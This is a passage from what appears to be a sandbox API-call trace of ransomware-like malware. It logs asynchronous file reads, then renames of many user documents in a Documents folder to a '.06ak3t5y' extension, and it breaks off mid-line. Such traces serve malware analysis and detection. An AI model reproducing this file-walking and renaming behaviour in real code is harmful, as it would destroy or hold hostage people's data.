GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.157] ReadFile (in: hFile=0x50c, lpBuffer=0x54f8de0, nNumberOfBytesToRead=0x144fb, lpNumberOfBytesRead=0x0, lpOverlapped=0x54f8c90 | out: lpBuffer=0x54f8de0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x54f8c90) returned 1 [0112.158] RtlGetLastWin32Error () returned 0x3e5 [0112.158] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.164] ReadFile (in: hFile=0x510, lpBuffer=0x3979aa0, nNumberOfBytesToRead=0x846, lpNumberOfBytesRead=0x0, lpOverlapped=0x3979950 | out: lpBuffer=0x3979aa0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3979950) returned 1 [0112.165] RtlGetLastWin32Error () returned 0x3e5 [0112.166] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.166] ReadFile (in: hFile=0x514, lpBuffer=0x550d438, nNumberOfBytesToRead=0x1201f, lpNumberOfBytesRead=0x0, lpOverlapped=0x550d2e8 | out: lpBuffer=0x550d438*, lpNumberOfBytesRead=0x0, lpOverlapped=0x550d2e8) returned 1 [0112.167] RtlGetLastWin32Error () returned 0x3e5 [0112.167] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.168] ReadFile (in: hFile=0x518, lpBuffer=0x551f5b0, nNumberOfBytesToRead=0x93dc, lpNumberOfBytesRead=0x0, lpOverlapped=0x551f460 | out: lpBuffer=0x551f5b0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x551f460) returned 1 [0112.168] RtlGetLastWin32Error () returned 0x3e5 [0112.169] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.169] ReadFile (in: hFile=0x51c, lpBuffer=0x5528ae8, nNumberOfBytesToRead=0xbfec, lpNumberOfBytesRead=0x0, lpOverlapped=0x5528998 | out: lpBuffer=0x5528ae8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5528998) returned 1 [0112.170] RtlGetLastWin32Error () returned 0x3e5 [0112.170] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.170] ReadFile (in: hFile=0x520, lpBuffer=0x5534c30, nNumberOfBytesToRead=0xf943, lpNumberOfBytesRead=0x0, lpOverlapped=0x5534ae0 | out: lpBuffer=0x5534c30*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5534ae0) returned 1 [0112.171] RtlGetLastWin32Error () returned 0x3e5 [0112.171] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.172] ReadFile (in: hFile=0x524, lpBuffer=0x55446d0, nNumberOfBytesToRead=0x1689b, lpNumberOfBytesRead=0x0, lpOverlapped=0x5544580 | out: lpBuffer=0x55446d0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5544580) returned 1 [0112.173] RtlGetLastWin32Error () returned 0x3e5 [0112.173] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.173] ReadFile (in: hFile=0x528, lpBuffer=0x555b0c8, nNumberOfBytesToRead=0x15686, lpNumberOfBytesRead=0x0, lpOverlapped=0x555af78 | out: lpBuffer=0x555b0c8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x555af78) returned 1 [0112.175] RtlGetLastWin32Error () returned 0x3e5 [0112.175] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.175] ReadFile (in: hFile=0x52c, lpBuffer=0x55708a8, nNumberOfBytesToRead=0xeb27, lpNumberOfBytesRead=0x0, lpOverlapped=0x5570758 | out: lpBuffer=0x55708a8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5570758) returned 1 [0112.176] RtlGetLastWin32Error () returned 0x3e5 [0112.176] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.177] ReadFile (in: hFile=0x530, lpBuffer=0x557f528, nNumberOfBytesToRead=0x9f7c, lpNumberOfBytesRead=0x0, lpOverlapped=0x557f3d8 | out: lpBuffer=0x557f528*, lpNumberOfBytesRead=0x0, lpOverlapped=0x557f3d8) returned 1 [0112.178] RtlGetLastWin32Error () returned 0x3e5 [0112.178] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.178] ReadFile (in: hFile=0x534, lpBuffer=0x5589600, nNumberOfBytesToRead=0x5528, lpNumberOfBytesRead=0x0, lpOverlapped=0x55894b0 | out: lpBuffer=0x5589600*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55894b0) returned 1 [0112.179] RtlGetLastWin32Error () returned 0x3e5 [0112.179] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.180] ReadFile (in: hFile=0x538, lpBuffer=0x558ec80, nNumberOfBytesToRead=0xca1d, lpNumberOfBytesRead=0x0, lpOverlapped=0x558eb30 | out: lpBuffer=0x558ec80*, lpNumberOfBytesRead=0x0, lpOverlapped=0x558eb30) returned 1 [0112.181] RtlGetLastWin32Error () returned 0x3e5 [0112.181] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.181] ReadFile (in: hFile=0x53c, lpBuffer=0x559b7f8, nNumberOfBytesToRead=0x1290a, lpNumberOfBytesRead=0x0, lpOverlapped=0x559b6a8 | out: lpBuffer=0x559b7f8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x559b6a8) returned 1 [0112.182] RtlGetLastWin32Error () returned 0x3e5 [0112.183] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.183] ReadFile (in: hFile=0x540, lpBuffer=0x55ae260, nNumberOfBytesToRead=0x4766, lpNumberOfBytesRead=0x0, lpOverlapped=0x55ae110 | out: lpBuffer=0x55ae260*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55ae110) returned 1 [0112.184] RtlGetLastWin32Error () returned 0x3e5 [0112.184] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.184] ReadFile (in: hFile=0x544, lpBuffer=0x4531198, nNumberOfBytesToRead=0x2a7c, lpNumberOfBytesRead=0x0, lpOverlapped=0x4531048 | out: lpBuffer=0x4531198*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4531048) returned 1 [0112.185] RtlGetLastWin32Error () returned 0x3e5 [0112.185] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.186] ReadFile (in: hFile=0x548, lpBuffer=0x55b2b20, nNumberOfBytesToRead=0x5923, lpNumberOfBytesRead=0x0, lpOverlapped=0x55b29d0 | out: lpBuffer=0x55b2b20*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55b29d0) returned 1 [0112.187] RtlGetLastWin32Error () returned 0x3e5 [0112.187] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.187] ReadFile (in: hFile=0x54c, lpBuffer=0x55b85a0, nNumberOfBytesToRead=0x39ac, lpNumberOfBytesRead=0x0, lpOverlapped=0x55b8450 | out: lpBuffer=0x55b85a0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55b8450) returned 1 [0112.188] RtlGetLastWin32Error () returned 0x3e5 [0112.188] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.189] ReadFile (in: hFile=0x550, lpBuffer=0x55bc0a8, nNumberOfBytesToRead=0x171a1, lpNumberOfBytesRead=0x0, lpOverlapped=0x55bbf58 | out: lpBuffer=0x55bc0a8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55bbf58) returned 1 [0112.190] RtlGetLastWin32Error () returned 0x3e5 [0112.190] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.191] ReadFile (in: hFile=0x554, lpBuffer=0x55d33a8, nNumberOfBytesToRead=0xc2d2, lpNumberOfBytesRead=0x0, lpOverlapped=0x55d3258 | out: lpBuffer=0x55d33a8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55d3258) returned 1 [0112.192] RtlGetLastWin32Error () returned 0x3e5 [0112.192] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.192] ReadFile (in: hFile=0x558, lpBuffer=0x55df7d8, nNumberOfBytesToRead=0xf0cf, lpNumberOfBytesRead=0x0, lpOverlapped=0x55df688 | out: lpBuffer=0x55df7d8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55df688) returned 1 [0112.193] RtlGetLastWin32Error () returned 0x3e5 [0112.194] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.194] ReadFile (in: hFile=0x55c, lpBuffer=0x55eea00, nNumberOfBytesToRead=0x129d9, lpNumberOfBytesRead=0x0, lpOverlapped=0x55ee8b0 | out: lpBuffer=0x55eea00*, lpNumberOfBytesRead=0x0, lpOverlapped=0x55ee8b0) returned 1 [0112.195] RtlGetLastWin32Error () returned 0x3e5 [0112.195] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.196] ReadFile (in: hFile=0x560, lpBuffer=0x5601538, nNumberOfBytesToRead=0x1117b, lpNumberOfBytesRead=0x0, lpOverlapped=0x56013e8 | out: lpBuffer=0x5601538*, lpNumberOfBytesRead=0x0, lpOverlapped=0x56013e8) returned 1 [0112.197] RtlGetLastWin32Error () returned 0x3e5 [0112.197] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.197] ReadFile (in: hFile=0x564, lpBuffer=0x5612810, nNumberOfBytesToRead=0x1b6d, lpNumberOfBytesRead=0x0, lpOverlapped=0x56126c0 | out: lpBuffer=0x5612810*, lpNumberOfBytesRead=0x0, lpOverlapped=0x56126c0) returned 1 [0112.198] RtlGetLastWin32Error () returned 0x3e5 [0112.198] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.199] ReadFile (in: hFile=0x568, lpBuffer=0x56144d8, nNumberOfBytesToRead=0x31f6, lpNumberOfBytesRead=0x0, lpOverlapped=0x5614388 | out: lpBuffer=0x56144d8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5614388) returned 1 [0112.200] RtlGetLastWin32Error () returned 0x3e5 [0112.200] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.200] ReadFile (in: hFile=0x56c, lpBuffer=0x5617828, nNumberOfBytesToRead=0x13ed0, lpNumberOfBytesRead=0x0, lpOverlapped=0x56176d8 | out: lpBuffer=0x5617828*, lpNumberOfBytesRead=0x0, lpOverlapped=0x56176d8) returned 1 [0112.201] RtlGetLastWin32Error () returned 0x3e5 [0112.201] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.202] ReadFile (in: hFile=0x570, lpBuffer=0x562b850, nNumberOfBytesToRead=0xa453, lpNumberOfBytesRead=0x0, lpOverlapped=0x562b700 | out: lpBuffer=0x562b850*, lpNumberOfBytesRead=0x0, lpOverlapped=0x562b700) returned 1 [0112.203] RtlGetLastWin32Error () returned 0x3e5 [0112.203] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0112.203] CloseHandle (hObject=0x258) returned 1 [0113.174] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe6) returned 0x20ab750 [0113.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\N8CPfO-zjsOqif.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\n8cpfo-zjsoqif.xls"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\N8CPfO-zjsOqif.xls.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\n8cpfo-zjsoqif.xls.06ak3t5y")) returned 1 [0113.179] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.180] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068120) returned 1 [0113.180] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397cd90) returned 1 [0113.181] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.181] WriteFile (in: hFile=0x40c, lpBuffer=0x4796f10, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796dc0 | out: lpBuffer=0x4796f10, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4796dc0) returned 0x0 [0113.182] RtlGetLastWin32Error () returned 0x3e5 [0113.182] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.182] CloseHandle (hObject=0x25c) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0113.185] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\NpJmmrQh0nwG7_pUv.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\npjmmrqh0nwg7_puv.csv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\NpJmmrQh0nwG7_pUv.csv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\npjmmrqh0nwg7_puv.csv.06ak3t5y")) returned 1 [0113.187] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.187] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee350) returned 1 [0113.188] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38ab6c8) returned 1 [0113.188] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.188] CloseHandle (hObject=0x264) returned 1 [0113.190] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe0) returned 0x2070c20 [0113.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\OOXxuWoBXn.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\ooxxuwobxn.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\OOXxuWoBXn.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\ooxxuwobxn.docx.06ak3t5y")) returned 1 [0113.192] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0113.192] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068660) returned 1 [0113.192] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38c4528) returned 1 [0113.193] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.193] CloseHandle (hObject=0x260) returned 1 [0113.195] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf0) returned 0x207d648 [0113.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\othZzWJti-TuFa-zMAO.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\othzzwjti-tufa-zmao.odp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\othZzWJti-TuFa-zMAO.odp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\othzzwjti-tufa-zmao.odp.06ak3t5y")) returned 1 [0113.196] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.196] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f700) returned 1 [0113.197] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38d2ea0) returned 1 [0113.197] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.197] CloseHandle (hObject=0x270) returned 1 [0113.200] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe2) returned 0x20ab750 [0113.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\pU7xrszOnuj.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\pu7xrszonuj.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\pU7xrszOnuj.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\pu7xrszonuj.pptx.06ak3t5y")) returned 1 [0113.201] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0113.201] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20686d0) returned 1 [0113.202] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38dff70) returned 1 [0113.202] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.202] CloseHandle (hObject=0x280) returned 1 [0113.203] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xde) returned 0x2070c20 [0113.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\PuoJ2S5Mug.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\puoj2s5mug.odp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\PuoJ2S5Mug.odp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\puoj2s5mug.odp.06ak3t5y")) returned 1 [0113.208] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0113.208] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20864a0) returned 1 [0113.208] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38f2f08) returned 1 [0113.208] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.209] CloseHandle (hObject=0x360) returned 1 [0113.211] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd6) returned 0x30a82f0 [0113.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\PWlklR.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\pwlklr.odp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\PWlklR.odp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\pwlklr.odp.06ak3t5y")) returned 1 [0113.214] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0113.214] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069900) returned 1 [0113.214] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45b2eb0) returned 1 [0113.221] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.221] CloseHandle (hObject=0x364) returned 1 [0113.225] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf0) returned 0x207d648 [0113.225] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\QhYEo-WKA63tNNVSpa.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\qhyeo-wka63tnnvspa.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\QhYEo-WKA63tNNVSpa.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\qhyeo-wka63tnnvspa.docx.06ak3t5y")) returned 1 [0113.227] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.227] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f900) returned 1 [0113.228] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45ca588) returned 1 [0113.229] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.229] CloseHandle (hObject=0x368) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0113.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\RYu7G-GPCGAN4l7O.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\ryu7g-gpcgan4l7o.odp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\RYu7G-GPCGAN4l7O.odp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\ryu7g-gpcgan4l7o.odp.06ak3t5y")) returned 1 [0113.234] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.234] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee530) returned 1 [0113.234] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45d16f0) returned 1 [0113.235] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, 